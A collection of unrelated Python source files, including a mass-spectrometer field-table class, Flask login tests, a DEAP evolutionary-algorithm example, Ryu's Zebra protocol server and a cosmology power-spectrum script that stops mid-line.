delta for k, (iso, xx, yy, _) in d.iteritems(): ny = yy + delta p = least_squares(mass_cal_func, xx, ny, [ny[0], xx[0], 0]) d[k] = iso, xx, ny, p self.dump(isos, d, message) # self._mftable = isos, xs, ys except ValueError: import traceback e = traceback.format_exc() self.debug('Magnet update field table {}'.format(e)) def set_path_name(self, name): if self.path != self._name_to_path(name): self.path = name self.info('Using MFTable {}'.format(self.path)) self.load_mftable() def get_table(self): mt = self._get_mftable() return mt def load(self): pass def save(self): detectors = self._detectors p = self.path p = '{}.temp'.format(p) fmt = lambda x: '{:0.5f}'.format(x) with open(p, 'w') as f: writer = csv.writer(f) writer.writerow(['iso'] + detectors) for fi in self.items: writer.writerow(fi.to_csv(detectors, fmt)) self._set_mftable_hash(p) self._add_to_archive(p, message='manual modification') def dump(self, isos, d, message): detectors = self._detectors p = self.path with open(p, 'w') as f: writer = csv.writer(f) writer.writerow(['iso'] + detectors) for i, iso in enumerate(isos): a = [iso] for hi in detectors: iso, xs, ys, _ = d[hi] a.append('{:0.5f}'.format(ys[i])) writer.writerow(a) self._set_mftable_hash(p) self._add_to_archive(p, message) # @property # def mftable_path(self): # return os.path.join(paths.spectrometer_dir, 'mftable.csv') @property def mftable_archive_path(self): return os.path.join(paths.spectrometer_dir, '{}_mftable_archive'.format(self.spectrometer_name)) def load_mftable(self, load_items=False): """ mftable format- first line is a header followed by Isotope, Dac_i, Dac_j,.... Dac_i is the magnet dac setting to center Isotope on detector i example:: iso, H2, H1, AX, L1, L2, CDD Ar40,5.78790,5.895593,6.00675,6.12358,6.24510,6.35683 Ar39,5.89692,5.788276,5.89692,5.89692,5.89692,5.89692 Ar36,5.56072,5.456202,5.56072,5.56072,5.56072,5.56072 """ p = self.path self.debug('Using mftable located at {}'.format(p)) mws = self.molweights self._set_mftable_hash(p) items = [] with open(p, 'U') as f: reader = csv.reader(f) table = [] detectors = map(str.strip, reader.next()[1:]) for line in reader: iso = line[0] try: mw = mws[iso] except KeyError, e: self.warning('"{}" not in molweights {}'.formamolweights(iso, mw)) continue dacs = map(float, line[1:]) if load_items: fi = FieldItem(isotope=iso) for di, v in zip(detectors, dacs): fi.add_trait(di, Float(v)) items.append(fi) row = [iso, mw] + dacs table.append(row) self._report_mftable(detectors, items) self.items = items table = zip(*table) isos, mws = list(table[0]), list(table[1]) d = {} for i, k in enumerate(detectors): ys = table[2 + i] try: c = least_squares(mass_cal_func, mws, ys, [ys[0], mws[0], 0]) except TypeError: c = (0, 1, ys[0]) d[k] = (isos, mws, ys, c) self._mftable = d # self._mftable={k: (isos, mws, table[2 + i], ) # for i, k in enumerate(detectors)} self._detectors = detectors def _report_mftable(self, detectors, items): self.debug('============ MFtable ===========') self.debug('{:<8s} {}'.format('Isotope', ''.join(['{:<7s}'.format(di) for di in detectors]))) for it in items: vs = ['{:0.4f}'.format(getattr(it, di)) for di in detectors] self.debug('{:<8s} {}'.format(it.isotope, ' '.join(vs))) self.debug('================================') def _get_mftable(self): if not self._mftable or not self._check_mftable_hash(): self.load_mftable() return self._mftable def _check_mftable_hash(self): """ return True if mftable externally modified """ # p = paths.mftable current_hash = self._make_hash(self.path) return self._mftable_hash != current_hash def _make_hash(self, p): with open(p, 'U') as rfile: return hashlib.md5(rfile.read()) def _set_mftable_hash(self, p): self._mftable_hash = self._make_hash(p) def _add_to_archive(self, p, message): if self.use_db_archive: if self.db: self.info('db archiving mftable') with open(p, 'r') as rfile: self.db.add_mftable(self.spectrometer_name, rfile.read()) else: self.debug('no db instance available for archiving') if self.use_local_archive: try: from pychron.git_archive.git_archive import GitArchive except ImportError: self.warning('GitPython >=0.3.2RC1 required for local MFTable Archiving') return archive = GitArchive(self.mftable_archive_path) # copy dest = os.path.join(self.mftable_archive_path, os.path.basename(p)) shutil.copyfile(p, dest) archive.add(dest, msg=message) archive.close() self.info('locally archiving mftable') def _set_path(self, name): set_mftable_name(name) @cached_property def _get_path(self): name = get_mftable_name() return os.path.join(paths.mftable_dir, add_extension(name, '.csv')) # def _name_to_path(self, name): # if name: # name = os.path.join(paths.mftable_dir, add_extension(name, '.csv')) # return name or '' # # def _set_path(self, v): # self._path = self._name_to_path(v) # # def _get_path(self): # if self._path: # p = self._path # else: # p = paths.mftable # return p # ============= EOF =============================================
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from app import app import unittest class FlaskTestCase(unittest.TestCase): #Ensure that flask was sett up correctly def test_index(self): tester = app.test_client(self) response = tester.get('/login', content_type='html/text') self.assertEqual(response.status_code, 200) # Ensure that login page loads correctly def test_login_page_loads(self): tester = app.test_client(self) response = tester.get('/login', content_type='html/text') self.assertFalse(b'Please try again.' in response.data) # Ensure that login correctly def test_correct_login(self): tester = app.test_client(self) response = tester.post( '/login', data=dict(username="admin", password="admin"), follow_redirects=True ) self.assertIn(b'You are just login', response.data) # Test Wrong credentails def test_incorrect_login(self): tester = app.test_client(self) response = tester.post( '/login', data=dict(username="wrong", password="wrong"), follow_redirects=True ) self.assertIn(b'Invalid credentials. Please try again', response.data) # test loggout def test_logout(self): tester = app.test_client(self) response = tester.post( '/login', data=dict(username="admin", password="admin"), follow_redirects=True ) self.assertIn(b'You were just Logged out', response.data) #Ensure that main page requires login def test_main_route_requires_login(self): tester = app.test_client(self) response = tester.get('/', follow_redirects=True) self.assertTrue(b'You need to first Login', response.data) def test_post_show_up(self): tester = app.test_client(self) response = tester.post( '/login', data=dict(username="admin", password="admin"), follow_redirects=True ) self.assertIn(b'Im well', response.data) if __name__ =='__main__': unittest.main()
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#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2005-2008 TUBITAK/UEKAE # Licensed under the GNU General Public License, version 2. # See the file http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt from pisi.actionsapi import autotools from pisi.actionsapi import pisitools from pisi.actionsapi import shelltools from pisi.actionsapi import get def setup(): autotools.configure("--enable-shared \ --enable-imfexamples \ --enable-imffuzztest \ --disable-static") def build(): autotools.make() def install(): # documents and examples go to "/usr/share/OpenEXR" without these parameters docdir = "/usr/share/doc/%s" % get.srcTAG() examplesdir = "%s/examples" % docdir autotools.rawInstall("DESTDIR=%s docdir=%s examplesdir=%s" % (get.installDIR(), docdir, examplesdir)) pisitools.dodoc("AUTHORS", "ChangeLog","NEWS", "README","LICENSE")
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# qubit number=4 # total number=30 import pyquil from pyquil.api import local_forest_runtime, QVMConnection from pyquil import Program, get_qc from pyquil.gates import * import numpy as np conn = QVMConnection() def make_circuit()-> Program: prog = Program() # circuit begin prog += X(3) # number=1 prog += H(1) # number=2 prog += H(2) # number=3 prog += H(3) # number=4 prog += Y(3) # number=12 prog += H(0) # number=5 prog += H(1) # number=6 prog += H(2) # number=7 prog += H(3) # number=8 prog += H(0) # number=9 prog += Y(2) # number=10 prog += Y(2) # number=11 prog += CNOT(1,0) # number=13 prog += H(0) # number=15 prog += CZ(1,0) # number=16 prog += H(1) # number=20 prog += H(2) # number=19 prog += H(0) # number=27 prog += CZ(3,0) # number=28 prog += H(0) # number=29 prog += Z(3) # number=25 prog += CNOT(3,0) # number=26 prog += H(0) # number=17 prog += CNOT(2,0) # number=21 prog += X(1) # number=23 prog += CNOT(2,0) # number=22 # circuit end return prog def summrise_results(bitstrings) -> dict: d = {} for l in bitstrings: if d.get(l) is None: d[l] = 1 else: d[l] = d[l] + 1 return d if __name__ == '__main__': prog = make_circuit() qvm = get_qc('4q-qvm') results = qvm.run_and_measure(prog,1024) bitstrings = np.vstack([results[i] for i in qvm.qubits()]).T bitstrings = [''.join(map(str, l)) for l in bitstrings] writefile = open("../data/startPyquil2055.csv","w") print(summrise_results(bitstrings),file=writefile) writefile.close()
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#!/usr/bin/python import numpy as np import matplotlib.pyplot as plt from deap import algorithms, base, benchmarks, \ cma, creator, tools # Function to create a toolbox def create_toolbox(strategy): creator.create("FitnessMin", base.Fitness, weights=(-1.0,)) creator.create("Individual", list, fitness=creator.FitnessMin) toolbox = base.Toolbox() toolbox.register("evaluate", benchmarks.rastrigin) # Seeed the random number generator np.random.seed(7) toolbox.register("generate", strategy.generate, creator.Individual) toolbox.register("update", strategy.update) return toolbox if __name__ == "__main__": # Problem size num_individuals = 10 num_generations = 125 # Create a strategy using CMA-ES algorithm strategy = cma.Strategy(centroid=[5.0]*num_individuals, sigma=5.0, lambda_=20*num_individuals) # Create toolbox based on the above strategy toolbox = create_toolbox(strategy) # Create hall of fame object hall_of_fame = tools.HallOfFame(1) # Register the relevant stats stats = tools.Statistics(lambda x: x.fitness.values) stats.register("avg", np.mean) stats.register("std", np.std) stats.register("min", np.min) stats.register("max", np.max) logbook = tools.Logbook() logbook.header = "gen", "evals", "std", "min", "avg", "max" # Objects that will compile the data sigma = np.ndarray((num_generations, 1)) axis_ratio = np.ndarray((num_generations, 1)) diagD = np.ndarray((num_generations, num_individuals)) fbest = np.ndarray((num_generations,1)) best = np.ndarray((num_generations, num_individuals)) std = np.ndarray((num_generations, num_individuals)) for gen in range(num_generations): # Generate a new population population = toolbox.generate() # Evaluate the individuals fitnesses = toolbox.map(toolbox.evaluate, population) for ind, fit in zip(population, fitnesses): ind.fitness.values = fit # Update the strategy with the evaluated individuals toolbox.update(population) # Update the hall of fame and the statistics with the # currently evaluated population hall_of_fame.update(population) record = stats.compile(population) logbook.record(evals=len(population), gen=gen, **record) print(logbook.stream) # Save more data along the evolution sigma[gen] = strategy.sigma axis_ratio[gen] = max(strategy.diagD)**2/min(strategy.diagD)**2 diagD[gen, :num_individuals] = strategy.diagD**2 fbest[gen] = hall_of_fame[0].fitness.values best[gen, :num_individuals] = hall_of_fame[0] std[gen, :num_individuals] = np.std(population, axis=0) # The x-axis will be the number of evaluations x = list(range(0, strategy.lambda_ * num_generations, strategy.lambda_)) avg, max_, min_ = logbook.select("avg", "max", "min") plt.figure() plt.semilogy(x, avg, "--b") plt.semilogy(x, max_, "--b") plt.semilogy(x, min_, "-b") plt.semilogy(x, fbest, "-c") plt.semilogy(x, sigma, "-g") plt.semilogy(x, axis_ratio, "-r") plt.grid(True) plt.title("blue: f-values, green: sigma, red: axis ratio") plt.figure() plt.plot(x, best) plt.grid(True) plt.title("Object Variables") plt.figure() plt.semilogy(x, diagD) plt.grid(True) plt.title("Scaling (All Main Axes)") plt.figure() plt.semilogy(x, std) plt.grid(True) plt.title("Standard Deviations in All Coordinates") plt.show()
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# Copyright © 2022 Province of British Columbia # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Validation for the Conversion filing.""" from http import HTTPStatus # pylint: disable=wrong-import-order from typing import Dict, Optional from flask_babel import _ as babel # noqa: N813, I004, I001, I003 from legal_api.errors import Error from legal_api.models import Business from legal_api.services.filings.validations.common_validations import validate_name_request from legal_api.services.filings.validations.registration import validate_offices, validate_party from ...utils import get_str def validate(business: Business, filing: Dict) -> Optional[Error]: """Validate the Conversion filing.""" filing_type = 'conversion' if not filing: return Error(HTTPStatus.BAD_REQUEST, [{'error': babel('A valid filing is required.')}]) legal_type_path = '/filing/business/legalType' legal_type = get_str(filing, legal_type_path) if legal_type in [Business.LegalTypes.SOLE_PROP.value, Business.LegalTypes.PARTNERSHIP.value]: msg = [] if filing.get('filing', {}).get('conversion', {}).get('nameRequest', None): msg.extend(validate_name_request(filing, legal_type, filing_type)) msg.extend(validate_party(filing, legal_type, filing_type)) msg.extend(validate_offices(filing, filing_type)) if msg: return Error(HTTPStatus.BAD_REQUEST, msg) return None
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N = int(input()) S = list(input()) if N%2 == 1: print('No') else: if S[:N//2] == S[N//2:]: print('Yes') else: print('No')
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# Copyright (C) 2017 Nippon Telegraph and Telephone Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or # implied. # See the License for the specific language governing permissions and # limitations under the License. """ Zebra Server corresponding to 'zserv' structure. """ import contextlib import logging import os import socket import struct import netaddr from ryu import cfg from ryu.base import app_manager from ryu.base.app_manager import RyuApp from ryu.controller.handler import set_ev_cls from ryu.lib import hub from ryu.lib.packet import zebra from ryu.services.protocols.zebra import db from ryu.services.protocols.zebra import event from ryu.services.protocols.zebra.server import event as zserver_event LOG = logging.getLogger(__name__) CONF = cfg.CONF['zapi'] GLOBAL_CONF = cfg.CONF # Session to database of Zebra protocol service SESSION = db.Session() class ZClient(object): """ Zebra client class. """ def __init__(self, server, sock, addr): self.server = server self.sock = sock self.addr = addr self.logger = server.logger self.is_active = False self._threads = [] self.send_q = hub.Queue(16) # Zebra protocol version self.zserv_ver = CONF.server_version # Zebra route type distributed by client (not initialized yet) self.route_type = None def start(self): self.is_active = True self.sock.settimeout(GLOBAL_CONF.socket_timeout) self._threads.append(hub.spawn(self._send_loop)) self._threads.append(hub.spawn(self._recv_loop)) self.server.send_event_to_observers( zserver_event.EventZClientConnected(self)) hub.joinall(self._threads) self.server.send_event_to_observers( zserver_event.EventZClientDisconnected(self)) def stop(self): self.is_active = False def _send_loop(self): try: while self.is_active: buf = self.send_q.get() self.sock.sendall(buf) except socket.error as e: self.logger.exception( 'Error while sending message to Zebra client%s: %s', self.addr, e) self.stop() def _recv_loop(self): buf = b'' min_len = recv_len = zebra.ZebraMessage.get_header_size( self.zserv_ver) try: while self.is_active: try: recv_buf = self.sock.recv(recv_len) except socket.timeout: continue if len(recv_buf) == 0: break buf += recv_buf while len(buf) >= min_len: (length,) = struct.unpack_from('!H', buf) if (length - len(buf)) > 0: # Need to receive remaining data recv_len = length - len(buf) break msg, _, buf = zebra.ZebraMessage.parser(buf) ev = event.message_to_event(self, msg) if ev: self.logger.debug('Notify event: %s', ev) self.server.send_event_to_observers(ev) except socket.error as e: self.logger.exception( 'Error while sending message to Zebra client%s: %s', self.addr, e) self.stop() def send_msg(self, msg): """ Sends Zebra message. :param msg: Instance of py:class: `ryu.lib.packet.zebra.ZebraMessage`. :return: Serialized msg if succeeded, otherwise None. """ if not self.is_active: self.logger.debug( 'Cannot send message: Already deactivated: msg=%s', msg) return elif not self.send_q: self.logger.debug( 'Cannot send message: Send queue does not exist: msg=%s', msg) return elif self.zserv_ver != msg.version: self.logger.debug( 'Zebra protocol version mismatch:' 'server_version=%d, msg.version=%d', self.zserv_ver, msg.version) msg.version = self.zserv_ver # fixup self.send_q.put(msg.serialize()) def zclient_connection_factory(sock, addr): LOG.debug('Connected from client: %s: %s', addr, sock) zserv = app_manager.lookup_service_brick(ZServer.__name__) with contextlib.closing(ZClient(zserv, sock, addr)) as zclient: try: zclient.start() except Exception as e: LOG.error('Error in client%s: %s', addr, e) raise e def detect_address_family(host): if netaddr.valid_ipv4(host): return socket.AF_INET elif netaddr.valid_ipv6(host): return socket.AF_INET6 elif os.path.isdir(os.path.dirname(host)): return socket.AF_UNIX else: return None class ZServer(RyuApp): """ The base class for Zebra server application. """ _EVENTS = event.ZEBRA_EVENTS + [ zserver_event.EventZClientConnected, zserver_event.EventZClientDisconnected, ] def __init__(self, *args, **kwargs): super(ZServer, self).__init__(*args, **kwargs) self.zserv = None self.zserv_addr = (CONF.server_host, CONF.server_port) self.zapi_connection_family = detect_address_family(CONF.server_host) # Initial Router ID for Zebra server self.router_id = CONF.router_id def start(self): super(ZServer, self).start() if self.zapi_connection_family == socket.AF_UNIX: unix_sock_dir = os.path.dirname(CONF.server_host) # Makes sure the unix socket does not already exist if os.path.exists(CONF.server_host): os.remove(CONF.server_host) if not os.path.isdir(unix_sock_dir): os.mkdir(unix_sock_dir) os.chmod(unix_sock_dir, 0o777) try: self.zserv = hub.StreamServer( self.zserv_addr, zclient_connection_factory) except OSError as e: self.logger.error( 'Cannot start Zebra server%s: %s', self.zserv_addr, e) raise e if self.zapi_connection_family == socket.AF_UNIX: os.chmod(CONF.server_host, 0o777) self._add_lo_interface() return hub.spawn(self.zserv.serve_forever) def _add_lo_interface(self): intf = db.interface.ip_link_add(SESSION, 'lo') if intf: self.logger.debug('Added interface "%s": %s', intf.ifname, intf) route = db.route.ip_route_add( SESSION, destination='127.0.0.0/8', device='lo', source='127.0.0.1/8', route_type=zebra.ZEBRA_ROUTE_CONNECT) if route: self.logger.debug( 'Added route to "%s": %s', route.destination, route) @set_ev_cls(event.EventZebraHello) def _hello_handler(self, ev): if ev.body is None: self.logger.debug('Client %s says hello.', ev.zclient) return # Set distributed route_type to ZClient ev.zclient.route_type = ev.body.route_type self.logger.debug( 'Client %s says hello and bids fair to announce only %s routes', ev.zclient, ev.body.route_type) @set_ev_cls(event.EventZebraRouterIDAdd) def _router_id_add_handler(self, ev): self.logger.debug( 'Client %s requests router_id, server will response: router_id=%s', ev.zclient, self.router_id) # Send ZEBRA_ROUTER_ID_UPDATE for response msg = zebra.ZebraMessage( body=zebra.ZebraRouterIDUpdate( family=socket.AF_INET, prefix='%s/32' % self.router_id)) ev.zclient.send_msg(msg) @set_ev_cls(event.EventZebraInterfaceAdd) def _interface_add_handler(self, ev): self.logger.debug('Client %s requested all interfaces', ev.zclient) interfaces = db.interface.ip_address_show_all(SESSION) self.logger.debug('Server will response interfaces: %s', interfaces) for intf in interfaces: msg = zebra.ZebraMessage( body=zebra.ZebraInterfaceAdd( ifname=intf.ifname, ifindex=intf.ifindex, status=intf.status, if_flags=intf.flags, metric=intf.metric, ifmtu=intf.ifmtu, ifmtu6=intf.ifmtu6, bandwidth=intf.bandwidth, ll_type=intf.ll_type, hw_addr=intf.hw_addr)) ev.zclient.send_msg(msg) routes = db.route.ip_route_show_all( SESSION, ifindex=intf.ifindex, is_selected=True) self.logger.debug('Server will response routes: %s', routes) for route in routes: dest, _ = route.destination.split('/') msg = zebra.ZebraMessage( body=zebra.ZebraInterfaceAddressAdd( ifindex=intf.ifindex, ifc_flags=0, family=None, prefix=route.source, dest=dest)) ev.zclient.send_msg(msg) @set_ev_cls([event.EventZebraIPv4RouteAdd, event.EventZebraIPv6RouteAdd]) def _ip_route_add_handler(self, ev): self.logger.debug( 'Client %s advertised IP route: %s', ev.zclient, ev.body) for nexthop in ev.body.nexthops: route = db.route.ip_route_add( SESSION, destination=ev.body.prefix, gateway=nexthop.addr, ifindex=nexthop.ifindex or 0, route_type=ev.body.route_type) if route: self.logger.debug( 'Added route to "%s": %s', route.destination, route) @set_ev_cls([event.EventZebraIPv4RouteDelete, event.EventZebraIPv6RouteDelete]) def _ip_route_delete_handler(self, ev): self.logger.debug( 'Client %s withdrew IP route: %s', ev.zclient, ev.body) for nexthop in ev.body.nexthops: routes = db.route.ip_route_delete( SESSION, destination=ev.body.prefix, gateway=nexthop.addr, route_type=ev.body.route_type) if routes: self.logger.debug( 'Deleted routes to "%s": %s', ev.body.prefix, routes)
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/Exps_7_v3/Basic_Pyramid_1ch_model_for_import_BN/pyr_1s/L3/step09_1side_L3.py
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KongBOy/kong_model2
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############################################################################################################################################################################################################# ############################################################################################################################################################################################################# ### 把 kong_model2 加入 sys.path import os from tkinter import S code_exe_path = os.path.realpath(__file__) ### 目前執行 step10_b.py 的 path code_exe_path_element = code_exe_path.split("\\") ### 把 path 切分 等等 要找出 kong_model 在第幾層 kong_layer = code_exe_path_element.index("kong_model2") ### 找出 kong_model2 在第幾層 kong_model2_dir = "\\".join(code_exe_path_element[:kong_layer + 1]) ### 定位出 kong_model2 的 dir import sys ### 把 kong_model2 加入 sys.path sys.path.append(kong_model2_dir) # print(__file__.split("\\")[-1]) # print(" code_exe_path:", code_exe_path) # print(" code_exe_path_element:", code_exe_path_element) # print(" kong_layer:", kong_layer) # print(" kong_model2_dir:", kong_model2_dir) ############################################################################################################################################################################################################# from step08_b_use_G_generate_I_to_M import I_to_M from step08_b_use_G_generate_0_util import Tight_crop from step09_c_train_step import Train_step_I_to_M from step09_d_KModel_builder_combine_step789 import KModel_builder, MODEL_NAME import time start_time = time.time() ############################################################################################################################################################################################### ############################################################################################################################################################################################### ########################################################### Block1 ### Block1 ######################################################################################### pyramid_1side_1 = [1, 0, 0, 0, 0, 0, 1] pyramid_1side_2 = [1, 1, 0, 0, 0, 1, 1] pyramid_1side_3 = [1, 1, 1, 0, 1, 1, 1] pyramid_1side_4 = [1, 1, 1, 1, 1, 1, 1] ######################################################################################### ch032_pyramid_1side_1 = KModel_builder().set_model_name(MODEL_NAME.flow_unet2).set_unet3(norm="bn", out_conv_block=True, concat_before_down=True, kernel_size=3, padding="valid", hid_ch= 32, depth_level=3, out_ch=1, unet_acti="sigmoid", conv_block_num=pyramid_1side_1, ch_upper_bound= 2 ** 14) ch032_pyramid_1side_2 = KModel_builder().set_model_name(MODEL_NAME.flow_unet2).set_unet3(norm="bn", out_conv_block=True, concat_before_down=True, kernel_size=3, padding="valid", hid_ch= 32, depth_level=3, out_ch=1, unet_acti="sigmoid", conv_block_num=pyramid_1side_2, ch_upper_bound= 2 ** 14) ch032_pyramid_1side_3 = KModel_builder().set_model_name(MODEL_NAME.flow_unet2).set_unet3(norm="bn", out_conv_block=True, concat_before_down=True, kernel_size=3, padding="valid", hid_ch= 32, depth_level=3, out_ch=1, unet_acti="sigmoid", conv_block_num=pyramid_1side_3, ch_upper_bound= 2 ** 14) ch032_pyramid_1side_4 = KModel_builder().set_model_name(MODEL_NAME.flow_unet2).set_unet3(norm="bn", out_conv_block=True, concat_before_down=True, kernel_size=3, padding="valid", hid_ch= 32, depth_level=3, out_ch=1, unet_acti="sigmoid", conv_block_num=pyramid_1side_4, ch_upper_bound= 2 ** 14) ######################################################################################### ############################################################################################################################################################################################### if(__name__ == "__main__"): import numpy as np print("build_model cost time:", time.time() - start_time) data = np.zeros(shape=(1, 511, 511, 1)) use_model = ch032_pyramid_1side_4 use_model = use_model.build() result = use_model.generator(data) print(result.shape) import tensorflow as tf import datetime code_exe_dir = "\\".join(code_exe_path_element[:-1]) log_dir = f"{code_exe_dir}/use_Tensorboard_see_Graph/{datetime.datetime.now().strftime('%Y%m%d-%H%M%S')}" tboard_callback = tf.keras.callbacks.TensorBoard(log_dir=log_dir) img_inputs = tf.keras.Input(shape=(511, 511, 1)) use_model.generator(img_inputs) use_model.generator.compile(optimizer='adam', loss='mae', metrics=['accuracy']) use_model.generator.fit (data, data, epochs=1, callbacks=[tboard_callback]) print(f"tensorboard --logdir={log_dir}")
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/apps/users/adminx.py
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Huangkai1008/stuonline
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# coding:utf8 import xadmin from xadmin import views from .models import EmailVerifyRecord, Banner class BaseSetting(object): """ xadmin全局配置 """ enable_themes = True use_bootswatch = True class GlobalSetting(object): site_title = "Mooc后台管理系统" site_footer = "mooc在线" menu_style = "accordion" class EmailVerifyRecordAdmin(object): list_display = ['code', 'email', 'send_type', 'send_time'] search_fields = ['code', 'email', 'send_type'] list_filter = ['code', 'email', 'send_type', 'send_time'] class BannerAdmin(object): list_display = ['title', 'image', 'url', 'index', 'add_time'] search_fields = ['title', 'image', 'url', 'index'] list_filter = ['title', 'image', 'url', 'index', 'add_time'] xadmin.site.register(EmailVerifyRecord, EmailVerifyRecordAdmin) xadmin.site.register(Banner, BannerAdmin) xadmin.site.register(views.BaseAdminView, BaseSetting) xadmin.site.register(views.CommAdminView, GlobalSetting)
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/home--tommy--mypy/mypy/lib/python2.7/site-packages/deap/tools/migration.py
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tommybutler/mlearnpy2
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from __future__ import division def migRing(populations, k, selection, replacement=None, migarray=None): """Perform a ring migration between the *populations*. The migration first select *k* emigrants from each population using the specified *selection* operator and then replace *k* individuals from the associated population in the *migarray* by the emigrants. If no *replacement* operator is specified, the immigrants will replace the emigrants of the population, otherwise, the immigrants will replace the individuals selected by the *replacement* operator. The migration array, if provided, shall contain each population's index once and only once. If no migration array is provided, it defaults to a serial ring migration (1 -- 2 -- ... -- n -- 1). Selection and replacement function are called using the signature ``selection(populations[i], k)`` and ``replacement(populations[i], k)``. It is important to note that the replacement strategy must select *k* **different** individuals. For example, using a traditional tournament for replacement strategy will thus give undesirable effects, two individuals will most likely try to enter the same slot. :param populations: A list of (sub-)populations on which to operate migration. :param k: The number of individuals to migrate. :param selection: The function to use for selection. :param replacement: The function to use to select which individuals will be replaced. If :obj:`None` (default) the individuals that leave the population are directly replaced. :param migarray: A list of indices indicating where the individuals from a particular position in the list goes. This defaults to a ring migration. """ nbr_demes = len(populations) if migarray is None: migarray = range(1, nbr_demes) + [0] immigrants = [[] for i in xrange(nbr_demes)] emigrants = [[] for i in xrange(nbr_demes)] for from_deme in xrange(nbr_demes): emigrants[from_deme].extend(selection(populations[from_deme], k)) if replacement is None: # If no replacement strategy is selected, replace those who migrate immigrants[from_deme] = emigrants[from_deme] else: # Else select those who will be replaced immigrants[from_deme].extend(replacement(populations[from_deme], k)) for from_deme, to_deme in enumerate(migarray): for i, immigrant in enumerate(immigrants[to_deme]): indx = populations[to_deme].index(immigrant) populations[to_deme][indx] = emigrants[from_deme][i] __all__ = ['migRing']
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/analysis/plot_power_spectrum_ch_hydro_MPI_enzo.py
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[]
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bvillasen/cosmo_sims
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import sys import numpy as np import matplotlib.pyplot as plt import h5py as h5 from power_spectrum import get_power_spectrum dev_dir = '/home/bruno/Desktop/Dropbox/Developer/' cosmo_dir = dev_dir + 'cosmo_sims/' toolsDirectory = cosmo_dir + "tools/" sys.path.extend([toolsDirectory ] ) from load_data_cholla import load_snapshot_data from load_data_enzo import load_snapshot_enzo from mpi4py import MPI comm = MPI.COMM_WORLD rank = comm.Get_rank() # dataDir = '/home/bruno/Desktop/data/' dataDir = '/raid/bruno/data/' outputsDir = '/home/bruno/cholla/scale_output_files/' eta = 0.030 beta = 0.25 nPoints = 256 Lbox = 50.0 #Mpc/h data_name = data_name = 'SIMPLE_PPMP_eta0.035_beta0.00_grav4_clean' # dataSet = 'PLMP' enzoDir = dataDir + 'cosmo_sims/enzo/{0}_hydro_50Mpc_HLLC_grav4/h5_files/'.format(nPoints ) # chollaDir = dataDir + 'cosmo_sims/cholla_pm/{1}_hydro_50Mpc/data_enzo_{2}_eta{0:.3f}/'.format( eta, nPoints, reconst ) chollaDir = dataDir + 'cosmo_sims/cholla_pm/{1}_hydro_50Mpc/data_{0}/'.format( data_name, nPoints, ) outDir = dev_dir + 'figures/power_hydro/' # fileName = outDir + 'ps_{0}_hydro_enzo_{2}_eta{1:.3f}.png'.format( nPoints, eta, reconst ) # set simulation volume dimentions nz, ny, nx = nPoints, nPoints, nPoints nCells = nx*ny*nz h = 0.6766 Lx = Lbox Ly = Lbox Lz = Lbox dx, dy, dz = Lx/(nx), Ly/(ny), Lz/(nz ) n_kSamples = 12 redshift_list = [ 100, 70, 40, 10, 7, 4, 1, 0.6, 0.3, 0 ] redshift_list.reverse() outputs_enzo = np.loadtxt( outputsDir + 'outputs_hydro_enzo_256_50Mpc_HLLC_grav4.txt') z_enzo = 1./(outputs_enzo) - 1 snapshots_enzo = [] for z in redshift_list: z_diff_enzo = np.abs( z_enzo - z ) index_enzo = np.where( z_diff_enzo == z_diff_enzo.min())[0][0] snapshots_enzo.append( index_enzo ) snapshots = snapshots_enzo # #For 128 50Mpc # # snapshots = [ 0, 2, 4, 7, 10, 13, 16, 22, 24, 27] # # # snapshots = [ 0, 2, 4, 7, 10, 13, 16, 20, 25, 30] # # # snapshots = [ 0, 2, 4, 7, 10, 13, 16, 20, 24, 38] # # snapshots = [ 0, 2, 4, 7, 10, 13, 16, 19] # # snapshots = [ 0, 2, 4] # n_snapshots = len( snapshots ) n_snapshots = len(snapshots) if rank >= n_snapshots: exit() nSnap = snapshots[rank] n_power_data = 4 ps_all = np.ones( [n_power_data, n_kSamples] ) # ps_all *= rank print " Cholla: ", nSnap snapKey = str( nSnap ) # if i not in [9]: continue data_cholla = load_snapshot_data( snapKey, chollaDir, cool=False, single_file=False ) current_z_ch = data_cholla['current_z'] dens_dm_cholla = data_cholla['dm']['density'][...] dens_gas_cholla = data_cholla['gas']['density'][...] ps_dm_cholla, k_vals, count_dm_cholla = get_power_spectrum( dens_dm_cholla, Lbox, nx, ny, nz, dx, dy, dz, n_kSamples=n_kSamples) ps_gas_cholla, k_vals, count_gas_cholla = get_power_spectrum( dens_gas_cholla, Lbox, nx, ny, nz, dx, dy, dz, n_kSamples=n_kSamples) ps_all[0] = ps_dm_cholla ps_all[1] = ps_gas_cholla print ' Enzo: ', nSnap data_enzo = load_snapshot_enzo( nSnap, enzoDir, dm=True, cool=False) current_a_enzo = data_enzo['current_a'] current_z_enzo = data_enzo['current_z'] dens_dm_enzo = data_enzo['dm']['density'][...] dens_gas_enzo = data_enzo['gas']['density'][...] ps_dm_enzo, k_vals, count_dm_enzo = get_power_spectrum( dens_dm_enzo, Lbox, nx, ny, nz, dx, dy, dz, n_kSamples=n_kSamples) ps_gas_enzo, k_vals, count_gas_enzo = get_power_spectrum( dens_gas_enzo, Lbox, nx, ny, nz, dx, dy, dz, n_kSamples=n_kSamples) ps_all[2] = ps_dm_enzo ps_all[3] = ps_gas_enzo send_buf = ps_all recv_buf = None if rank == 0: recv_buf = np.empty ([ n_snapshots, n_power_data, n_kSamples], dtype=np.float64) comm.Gather(send_buf, recv_buf, root=0) data_all = recv_buf send_buf = np.array([current_z_ch]) recv_buf = None if rank == 0: recv_buf = np.empty ([ n_snapshots ], dtype=np.float64) comm.Gather(send_buf, recv_buf, root=0) current_z_all = recv_buf if rank != 0: exit() # print data_all # print current_z_all fig = plt.figure(0) fig.set_size_inches(20,10) fig.clf() gs = plt.GridSpec(5, 2) gs.update(hspace=0.05, wspace=0.08, ) ax1 = plt.subplot(gs[0:4, 